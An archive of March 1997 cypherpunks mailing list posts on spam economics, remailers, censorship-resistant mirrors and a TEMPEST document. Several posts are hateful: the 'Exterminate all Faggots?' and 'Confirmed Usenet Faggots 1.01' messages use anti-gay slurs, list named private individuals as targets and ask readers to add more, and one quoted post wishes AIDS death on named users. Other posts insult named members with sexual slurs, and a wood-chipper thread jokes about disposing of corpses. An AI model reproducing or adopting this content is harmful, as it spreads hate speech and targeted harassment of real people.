========================================
ID: 643361
Password: writecode
========================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 26 Mar 1997 00:43:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hash functions
Message-ID: <199703260843.DAA04765@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's father, an idiot, stumbled across Timmy 
May's mother, an imbecile, when she had no clothes 
on. Nine months later she had a little moron.

         /\
      __/__\__
       | 00 |  Timmy May
      |:  \ :|
       | \_/|
        \__/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 26 Mar 1997 04:56:19 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: [OFF TOPIC]Comments about CFP '97
In-Reply-To: <3.0.32.19970325234406.00743cd4@netcom9.netcom.com>
Message-ID: <333910C8.483B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> At 08:55 PM 3/25/97 -0800, Timothy C. May wrote:
> >At 4:07 PM -0800 3/25/97, Bill Stewart wrote:
> >
> >>>--Tim May, who was comped into the conference and who only paid for one
> >>>night at $130, preferring to drive in from elswhere and use the saved money
> >>>for something permanent, a new Stihl chainsaw.

> >>Just in case the Assault Rifle and pistols aren't enough?  :-)

> Stihl chain saws are *the best*.

  Stihl chainsaws are the choice of serial killers from Texas to Xenix.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pittsburgh Admin <pgh@dhp.com>
Date: Wed, 26 Mar 1997 04:14:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Exterminate all Faggots?
In-Reply-To: <19970215062538.27135.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970326070926.17629A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 15 Feb 1997, Against Moderation wrote:

> Dave Hayes <dave@kachina.jetcafe.org> writes:
> 
> > Don't you get it? Real censorship issues do not arise until someone
> > rocks the boat. It takes someone to rock the boat to make you aware
> > of your own prejudices of that nature. If it takes attacking
> > homosexuals and pissing them off enough to make them show their
> > true colors and begin censorship...so be it. Why be civil when that
> > civility serves to hide that which is ultimately against free speech?
> > 
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> 
> Perhaps I did not make myself clear.  I never suggested Dr. Grubor's
> views should be suppressed.  Not only do I believe he has every right
> to express them, I also believe (as I explained) that I think there is
> value in inducing censorship as he has, so as to get people's
> censorious tendencies out in the open where they can be fought.
> 
> However, Dr. Grubor is no advocate of free speech (though I'm sure he
> thinks he is).  If Dr. Grubor had his way, he would severely restrict
> the rights of gay people to express themselves on Usenet.  Advocates
> of free speech must truly tolerate all speech, even that which they
> find strongly unpleasant or disturbing.
> 

That is not true.  We just wish to exterminate all faggot control,
not the faggots themselves.  The faggots are well known ad the MOST
censorous group of all.

> My point was therefore that Dr. Grubor would do better to say
> "Exterminate all faggots" than "Exterminate all faggots in the name of
> free speech," and that those of us who truly support freedom of speech
> would do well to distance ourselves from Dr. Grubor, while still fully
> supporting his right to express his opinions.
> 

Those of us who REALLY want free speech will exterminate all
faggot control over any and all usenet administration.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pittsburgh Admin <pgh@dhp.com>
Date: Wed, 26 Mar 1997 04:47:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Confirmed Usenet Faggots 1.01
In-Reply-To: <Pine.LNX.3.95.970219070331.7373J-100000@dhp.com>
Message-ID: <Pine.LNX.3.95.970326074437.17629F-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 19 Feb 1997, aga wrote:

> On Tue, 18 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Date: Tue, 18 Feb 97 00:32:19 EST
> > From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> > Reply-To: freedom-knights@jetcafe.org
> > To: freedom-knights@jetcafe.org
> > Subject: Re: Is Thomas Lee Another Homosexual Net-Terrorist?
> > 
> > (Back from WashDC, not Phila)
> > 
> > "Dr. Jai Maharaj" <jai@aloha.com> writes:
> > 
> > > One Thomas Lee has been complaining that he has trouble
> > > with my posts in certain newsgroups (he will not say which
> > > posts in which newsgroups) and has caused one or more
> > > others to terrorize my ISP with false, unfounded
> > > complaints.  When I asked this Lee character directly
> > > about this, he answered:
> > >
> > > Thomas Lee <tfl@psp.co.uk> wrote at 04:49 pm on 2/16/97:
> > > >
> > > > In message <3.0.1.32.19970216062849.007a7860@aloha.com>,
> > > > "Dr. Jai Maharaj" <jai@aloha.com> writes:
> > > >> . . . I will attempt to help you understand if you will let me know >>
> > > as to which posts in which newsgroup you are referring to.
> > >
> > > > Sorry Jai - If you don't know which groups you are off topic in,
> > > > I'm sure not going to help you.
> > > > Please stop mailing me.
> > > >--
> > > > Thomas Lee
> > > > tfl@psp.co.uk
> > >
> > > Evidently, Lee cannot substantiate his claims -- a behavior
> > > typical of many other members of the homosexual Lynch Mob
> > > which attempts to terrorize the Net.
> > 
> > I hope he dies from AIDS like Jason Durbin and all other Usenet faggots.
> > 
> > ---
> > 
> > Dr.Dimitri Vulis KOTM
> > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> > 
> 
> Thus we see that what is needed is a permanent list of -confirmed- 
> Usenet Faggots to be kept up and updated periodically.  So when you
> update this list, please do it by single digit increments, so that the
> next list is "UseNet Faggots 1.02" etc.
> 
> ======================================
> Confirmed Usenet Faggots 1.01
> 
> Peter Berger
> Jason Durbin
> J.D Falk
> Tim Skirvin
> Hardrock Llewellyn
> 
> ======================================
> 
> note these are *confirmed* Usenet Faggots.
> please add any more confirmed faggots that you know about.
> 
> thank you,
> aga.admin
> UseNet Freedom Council
> ufc@pgh.org
> 
> post to:
> 

alt.censorship, 
alt.fan.karl-malden.nose, 
alt.god.grubor, 
alt.underground, 
soc.culture.usa, 
news.groups, 
alt.usenet.admin, 
news.admin.censorship, 
mail.cypherpunks, 
alt.webgod, 
alt.wired, 
soc.men, 
news.admin.misc
 
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Wed, 26 Mar 1997 05:26:26 -0800 (PST)
To: aba@dcs.ex.ac.uk>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703252319.XAA01734@server.test.net>
Message-ID: <3.0.1.32.19970326080209.007aec20@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:27 AM 3/26/97 -0600, Toto wrote:

|I emailed John Gilmore, asking his advice, and he informed me that
|he has run into this problem before, and would be happy to provide the
|solution, on one condition.
|
|  He wants one million monkeys to send 5737 messages to the list, saying
|"John Gilmore is NOT a cocksucker."
|  Then, he will provide the solution, and not a moment before.

OK, John, count me in. #1!

"John Gilmore is NOT a cocksucker."

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

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WvZa/3OlSAd1o54/HbMuHnfmZBfsLiEiYIzGGDVJsqTzjiUdqvYJpH3Caq605qT5
5uN7A3fhACc=
=Rh5N
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 26 Mar 1997 06:31:41 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Anonymous mail as spam?
In-Reply-To: <199703261353.HAA00659@smoke.suba.com>
Message-ID: <3339331C.4C2A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> > At 10:49 PM -0800 3/25/97, snow wrote:
> > >     What would I do if I were a spammer?
> > >     Submit the _same_ coin to every mailing I sent out. It will pass
> > >your coin filter, and so you see the message, but will fail when you try
> > >to spend it, or clear it. What do I care, you've already seen the message.
> > I should always try to clear your coin and if I like your message send you
> > a new coin.  If I can't clear your coin, then your message goes to
> > /dev/null.
> 
>         This assumes a system where coins can be cleared in real time, and
> that people read thier mail while online. At least the second is not an
> assumption that can be bourn out.
> 
> > I hope those public key operations are cheap. :-)
> 
>         Or at least less than 10 cents.

  I believe that the 'money-point' for UCE (unsolicited commercial
email) spammers is somewhere around .02% for most of their offerings.
  In other words, they need to send out 10,000 emails and get a response
just to break even.

  So, to make it unprofitable for them to spam god and everybody, it 
would only take a small surcharge. i.e. a penny or less.
  I don't actually object to the average Jane/Joe trying to use the
'new medium' to turn a buck, since I don't think that they should
be denied the same opportunity as the mega-buck corporations.
  However, I would like to see the cost of operations for these types
of activities be substantial enough that they will be forced to adopt
a method of operations that will ensure that there is least a chance
that I will be interested in what they have to offer.

  As things stand, I could buy some UCE/spamming software and send out
my proverbial "How To Make $$$ Licking Your Own Dick" missives and 
probably make some money, since it would not cost me much to send my
messages to a few million people.
  If it was actually costing me even a small sum to send each message,
then I would no longer be able to afford indiscriminate spamming, but
would still have the option to use hardwork and intelligence to narrow
the field of recipients to only include those who might be interested
in my offer, such as Bill Frantz, Jim Bell, and Bill Stewart.

  I truly believe that the InterNet should be left accessible to those
without a lot of resources/cash, and that any effort to control abuse
through cost should be so minimal as to not interfere with the ability
of those who are currency-challenged to participate in its benefits.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 26 Mar 1997 08:44:39 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Hash functions
In-Reply-To: <199703260843.DAA04765@dhp.com>
Message-ID: <Pine.A41.3.95.970326094043.82200A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 26 Mar 1997, lucifer Anonymous Remailer wrote:

Vulis you need treatment.

> Timmy May's father, an idiot, stumbled across Timmy 
> May's mother, an imbecile, when she had no clothes 
> on. Nine months later she had a little moron.
> 
>          /\
>       __/__\__
>        | 00 |  Timmy May
>       |:  \ :|
>        | \_/|
>         \__/
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 07:05:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New WinSock Remailer Available; Compatible with Win95
In-Reply-To: <3.0.1.32.19970326073914.007c8100@pop.gate.net>
Message-ID: <oTH74D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Joey Grasty <jgrasty@gate.net> writes:
> You can now download the latest version (version ALPHA1.3B) of the
> WinSock Remailer from my webpage at:
>
>   http://www.cyberpass.net/~winsock/
...
> The WinSock Remailer is the Windows version of a cypherpunk remailer.
> This version, ALPHA1.3B, runs under Windows 3.1 and Windows 95.
> A version for Windows NT will be released shortly.
...
> I need to know if you have success with any of the following untested
> configurations:
>
> a) Windows NT (now known not to work)

What exactly is the problem with NT (if any)?

You might want to take a look at the source code to the cancelbot I
published last year - it has some winsock calls that work fine under NT.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 07:05:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <3.0.1.32.19970326080209.007aec20@smtp1.abraxis.com>
Message-ID: <wXH74D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Alec <camcc@abraxis.com> writes:

> At 01:27 AM 3/26/97 -0600, Toto wrote:
>
> |I emailed John Gilmore, asking his advice, and he informed me that
> |he has run into this problem before, and would be happy to provide the
> |solution, on one condition.
> |
> |  He wants one million monkeys to send 5737 messages to the list, saying
> |"John Gilmore is NOT a cocksucker."
> |  Then, he will provide the solution, and not a moment before.
>
> OK, John, count me in. #1!
>
> "John Gilmore is NOT a cocksucker."

John Gilmore IS a cocksucker.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 26 Mar 1997 08:58:39 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <wXH74D18w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970326095504.82200C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 26 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Alec <camcc@abraxis.com> writes:
> 
> > At 01:27 AM 3/26/97 -0600, Toto wrote:
> >
> > |I emailed John Gilmore, asking his advice, and he informed me that
> > |he has run into this problem before, and would be happy to provide the
> > |solution, on one condition.
> > |
> > |  He wants one million monkeys to send 5737 messages to the list, saying
> > |"John Gilmore is NOT a cocksucker."
> > |  Then, he will provide the solution, and not a moment before.
> >
> > OK, John, count me in. #1!
> >
> > "John Gilmore is NOT a cocksucker."
> 
> John Gilmore IS a cocksucker.
> 
>And you Vulis need a doctor.
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 08:32:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: spam
In-Reply-To: <3339331C.4C2A@sk.sympatico.ca>
Message-ID: <V5H74D19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:
> snow wrote:
> > > At 10:49 PM -0800 3/25/97, snow wrote:
> > > >     What would I do if I were a spammer?
> > > >     Submit the _same_ coin to every mailing I sent out. It will pass
> > > >your coin filter, and so you see the message, but will fail when you try
> > > >to spend it, or clear it. What do I care, you've already seen the messag
> > > I should always try to clear your coin and if I like your message send yo
> > > a new coin.  If I can't clear your coin, then your message goes to
> > > /dev/null.
> >
> >         This assumes a system where coins can be cleared in real time, and
> > that people read thier mail while online. At least the second is not an
> > assumption that can be bourn out.
> >
> > > I hope those public key operations are cheap. :-)
> >
> >         Or at least less than 10 cents.
>
>   I believe that the 'money-point' for UCE (unsolicited commercial
> email) spammers is somewhere around .02% for most of their offerings.
>   In other words, they need to send out 10,000 emails and get a response
> just to break even.
>
>   So, to make it unprofitable for them to spam god and everybody, it
> would only take a small surcharge. i.e. a penny or less.
>   I don't actually object to the average Jane/Joe trying to use the
> 'new medium' to turn a buck, since I don't think that they should
> be denied the same opportunity as the mega-buck corporations.
>   However, I would like to see the cost of operations for these types
> of activities be substantial enough that they will be forced to adopt
> a method of operations that will ensure that there is least a chance
> that I will be interested in what they have to offer.
>
>   As things stand, I could buy some UCE/spamming software and send out
> my proverbial "How To Make $$$ Licking Your Own Dick" missives and
> probably make some money, since it would not cost me much to send my
> messages to a few million people.

They don't know at the time of the mailing whether they'll make any
money off of it... Most of them seem like very stupid scams and probably
don't make any money. But they have enough of a hope to profit from
the mailing.

>   If it was actually costing me even a small sum to send each message,
> then I would no longer be able to afford indiscriminate spamming, but
> would still have the option to use hardwork and intelligence to narrow
> the field of recipients to only include those who might be interested
> in my offer, such as Bill Frantz, Jim Bell, and Bill Stewart.
>
>   I truly believe that the InterNet should be left accessible to those
> without a lot of resources/cash, and that any effort to control abuse
> through cost should be so minimal as to not interfere with the ability
> of those who are currency-challenged to participate in its benefits.

That's a very good point, Toto. As you may recall, my domain, dm.com, stands
for D&M Consulting. There's another internet domain, dm1.com, which stands for
'direct marketing'. They've been sending out a lot of UCE. A number of
net.cops have been complaining to us and to PSI, our upstream connection,
because they lack the mental capacity to distinguish between 'dm' and 'dm1'.
PSI used to be a good provider when we started doing business with them 6
years ago; now they have new people who are totally clueless and obnoxious. It
goes like "We've been receiving a lot of complaints about the traffic
originating at your site". "These are false complaints." "Well, we've still
been receiving a lot of complaints." And "If you can prove that this traffic
did not originate with you, then we won't hold you responsible." [I'm
cc'ing this to the Rev. Steve Winter who's had similar problems with the
new management at PSI. What a bunch of assholes! ]

But, Toto, sending UCE is not without a cost. If you had what most people
have these days - a $19.95/month SLIP or PPP account, and you sent out a
few thousand commercial solicitations to random people, your account would
be closed within hours by most providers. It would then take your a little
time and effort to open another account. The nan-am folks have been trying
to come up with a blacklist of "spammers" who go from one provider to
another - I don't know how successful they've been. A lot of people try
the internet in general, or a particular provider, judge them to be full of
shit, and close down the account. Perhaps a few would rather go with a bang.

Clearly, most folks who send out unsolicited e-mail are not masochists
seeking to have their plugs pulled. Most of them hope to sell something.
(Most of them are scammers, but that's besides the point.) I also saw at
least one religious mass e-mail (God loves you etc), where monetary profit
was probably not the motive for sending it. I think it's safe to assume that
most folks who send out unsolicited mass e-mail don't want the recipient to
be annoyed and to complain to the sender's ISP [This may not be true about
the users of anonymous remailers! ].

A while back we discussed on the cp mailing list a spec for a system that
provide junk e-mailers for free with a list of (hashed) addresses that
should be removed from any mass e-mail lists. Is anyone interested in
talking about the technical aspects of such a system?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 26 Mar 1997 10:14:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New WinSock Remailer Available; Compatible with Win95
In-Reply-To: <oTH74D17w165w@bwalk.dm.com>
Message-ID: <199703261814.KAA14932@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vulis <dlv@bwalk.dm.com> writez:
> Joey Grasty <jgrasty@gate.net> writes:
> > You can now download the latest version (version ALPHA1.3B) of the
> > WinSock Remailer from my webpage at:
> >
> >   http://www.cyberpass.net/~winsock/
> ...
> > The WinSock Remailer is the Windows version of a cypherpunk remailer.
> > This version, ALPHA1.3B, runs under Windows 3.1 and Windows 95.
> > A version for Windows NT will be released shortly.
> ...
> > I need to know if you have success with any of the following untested
> > configurations:
> >
> > a) Windows NT (now known not to work)
> 
> What exactly is the problem with NT (if any)?
> 
> You might want to take a look at the source code to the cancelbot I
> published last year - it has some winsock calls that work fine under NT.

And where would one find a copy of that?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 26 Mar 1997 12:00:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [OFF TOPIC]Comments about CFP '97
In-Reply-To: <3.0.1.32.19970325160724.005df3c0@popd.ix.netcom.com>
Message-ID: <v03020918af5f1be4cb05@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:55 pm -0500 on 3/25/97, Timothy C. May wrote:

> Yes, inasmuch as I already have a Troy-Bilt chipper/shredder for disposal
> of the  byproducts of home defense.
>
> (Bought even before I saw "Fargo."]

Actually, what you *really* want is one of those 400-lb-flywheel jobs that
the tree surgeons use to mulch big tree limbs up with. I worked behind one
one summer in college. They are *indeed* impressive.

Don't forget to freeze everything before you put it in there, though. Works
cleaner and faster.

Actually, there was a case a few years where a guy did exactly that with
his wife, her deep-frozen and all. Only problem was the cops figured it out
after they found out he had rented one of these things shortly before she
disappeared. Though they didn't find anything of her after the critters in
woods behind his house had their "one *tasty* burger", John Law did break
the tree mulcher down and find DNA-confirmed microscopic bits of her in the
machine's um, interstices... Remember, return the tools clean folks, or you
don't get your deposit back.

Reminds me of the headless biker we talked about here a while ago.

Whoops! Gotta run. Time for lunch!

I *love* this list...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:33:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: improving public acceptance: "alt" mail domain
In-Reply-To: <Pine.LNX.3.94.970326095928.9176R-100000@neptune.chem.uga.edu>
Message-ID: <J1s74D22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Andy Dustman <andy@CCMSD.chem.uga.edu> writes:

> FYI, anonymous.net is registered to John Gilmore.

SHIT!!! Someone, quick, complain to the InterNIC.

Who let the cocksucking NSA shill kidnap a domain name?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:37:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Proposal:] Revolving Web Mirrors
In-Reply-To: <v03007808af5f0eb17780@[207.167.93.63]>
Message-ID: <J4s74D23w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 9:00 AM -0600 3/26/97, William H. Geiger III wrote:
>
> >>How does this actually provide any benefit to anyone?  Search engines ala
> >>Altavista etc. are entirely too unreliable and too slow to pick up on
> >>these magical mirrors, especially if they are as dynamic as they would
> >>appear to be.  And if there's a central "come here and get all the
> >>mirrors!" page, the Bad Guys can simply block that page too.
> ...
> >Does Altavista, ...ect accept notification of new URL's and if so what is
> >the average lag time between receiving notice and the URL making it into
> >the search engine?
> >
> >The problem that I am trying to address is that a determined State could
> >block all static mirrors over a period of time. By making these sites
> >dynamic it makes the job much more difficult for them.
>
> Why not have e-mail notification about mirrors?

To whom?

> (Like Raph's remailer list, where an e-mail version is sent out in tandem
> with the Web site update.)
>
> Sure, some Big Mommy filtering services will block the Web sites, but they
> probably are completely unequipped to try to interfere with e-mail.

It's a piece of cake to scan all incoming e-mail and to see who's
getting notifications of the new locations of the "banned pages".
It doesn't matter if the "authorities" are the local gubmint or
a corporation... If the incoming e-mail is encrypted then the
authorities can scrutinize all incoming encryped e-mail and ask
the recipients what's in it, why it's encrypted, and whether it's
solicited or not.  If the notofications of the "banned pages"
locations are unsolicited, they have good grounds for a complaint
to your ISP.  If they're solicited... the recipient's in trouble.

But if the notifications are a small part of traffic on a large-
volume mailing list, like this one, then the recipient can claim
that they've subscribed to the mailing list for the other content
(like the ASCII art :-).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:35:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New WinSock Remailer Available; Compatible with Win95
In-Reply-To: <199703261814.KAA14932@mailmasher.com>
Message-ID: <wNT74D24w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:

> Dimitri Vulis <dlv@bwalk.dm.com> writez:
> > Joey Grasty <jgrasty@gate.net> writes:
> > > You can now download the latest version (version ALPHA1.3B) of the
> > > WinSock Remailer from my webpage at:
> > >
> > >   http://www.cyberpass.net/~winsock/
> > ...
> > > The WinSock Remailer is the Windows version of a cypherpunk remailer.
> > > This version, ALPHA1.3B, runs under Windows 3.1 and Windows 95.
> > > A version for Windows NT will be released shortly.
> > ...
> > > I need to know if you have success with any of the following untested
> > > configurations:
> > >
> > > a) Windows NT (now known not to work)
> >
> > What exactly is the problem with NT (if any)?
> >
> > You might want to take a look at the source code to the cancelbot I
> > published last year - it has some winsock calls that work fine under NT.
>
> And where would one find a copy of that?

For example, the Phrack archive.  I also posted it to the coderpunks
mailing list, which may be archived somewhere.  I was also told that
it's at the http://www.dhp.com/~kibo phreaking site.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:37:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous mail as spam?
In-Reply-To: <199703261646.RAA10051@digicash.com>
Message-ID: <osT74D25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryce <bryce@digicash.com> writes:

>  "Toto <toto@sk.sympatico.ca>" typed:
> >
> >   I believe that the 'money-point' for UCE (unsolicited commercial
> > email) spammers is somewhere around .02% for most of their offerings.
> >   In other words, they need to send out 10,000 emails and get a response
> > just to break even.
>
> Actually I had a talk with a certain anti-spam ISP owner
> recently, and she asserted that the spammers don't make
> significant money from responses to their spams, but are
> instead making their money from stupid newbie companies who
> pay them for advertising service.

That's an interesting business model.
Alice doesn't know shit about the 'net.
In particular, Alice doesn't know that UCE annoys people and
doesn't generate income; and Alice doesn't have the technical
expertise to set up a SLIP/PPP account, not to mention mass-mailing.
Alice pays Bob to mass-mail her UCE from a throw-away account.
Alice probably pays Bob a lot.
Bob probably promises Alice a lot.
Should Alice be encouraged to sue Bob for fraudulent misrepresetation
of UCE? :-)
Would a journalist with any semblance of integrity try to inform
Alice that UCE doesn't pay, instead of calling for more censorship?

> It's an interesting proposition.  You would think, though, that
> the spamsters might as well just take the stupid newbie
> company's cash and then send a couple of token e-mail
> messages, if that's their business model.  :-)

*If* there was a free, easy way to remove addresses of people who
don't want junk e-mail from their mailing lists, most junk e-mailers
would probably try to use it. The (snail-mail) direct marketers
association has it; I put my name on their block list and I
get almost no junk snail-mail.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 13:53:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [OFF TOPIC]Comments about CFP '97
In-Reply-To: <v03020918af5f1be4cb05@[139.167.130.246]>
Message-ID: <94w74D27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga <rah@shipwright.com> writes:

> At 11:55 pm -0500 on 3/25/97, Timothy C. May wrote:
>
> > Yes, inasmuch as I already have a Troy-Bilt chipper/shredder for disposal
> > of the  byproducts of home defense.
> >
> > (Bought even before I saw "Fargo."]
>
> Actually, what you *really* want is one of those 400-lb-flywheel jobs that
> the tree surgeons use to mulch big tree limbs up with. I worked behind one
> one summer in college. They are *indeed* impressive.
>
> Don't forget to freeze everything before you put it in there, though. Works
> cleaner and faster.
>
> Actually, there was a case a few years where a guy did exactly that with
> his wife, her deep-frozen and all. Only problem was the cops figured it out
> after they found out he had rented one of these things shortly before she
> disappeared. Though they didn't find anything of her after the critters in
> woods behind his house had their "one *tasty* burger", John Law did break
> the tree mulcher down and find DNA-confirmed microscopic bits of her in the
> machine's um, interstices... Remember, return the tools clean folks, or you
> don't get your deposit back.
>
> Reminds me of the headless biker we talked about here a while ago.

This reminds me of a story that happened 5 or 6 years ago to a sovok
who used to be a dentist back in Russia. He couldn't become a dentist
in the U.S., so he became a stockbroker out in the midwest. He lost
some money for another sovok. Sovok #2 asked sovok #1 nicely for a
reimbursement, but he refused. So, he killed him and ran his body
through one of those tree mulching things. They never found much of
sovok #1's body. However sovok #2 was so stupid that he stole #1's
Rolex watch and was seen wearing it, so he got arrested and even
convicted.

> Whoops! Gotta run. Time for lunch!
>
> I *love* this list...

Just stay away from sovoks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 26 Mar 1997 12:37:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: TEMPEST Doc
Message-ID: <1.5.4.32.19970326202926.008710a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've digitized several chapters of the US Army Corps of 
Engineers "Electromagnetic Pulse (EMP) and TEMPEST 
Protection for Facilities."

   http://jya.com/emp.htm

Pretty good specs for what to do outside the laboratory
to protect against compromising emanations (and rude 
nukes), many previously discussed here.

Reminder: Joel McNamara hosts the non-classified cornucopia:

   http://www.eskimo.com/~joelm/tempest.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Wed, 26 Mar 1997 06:30:28 -0800 (PST)
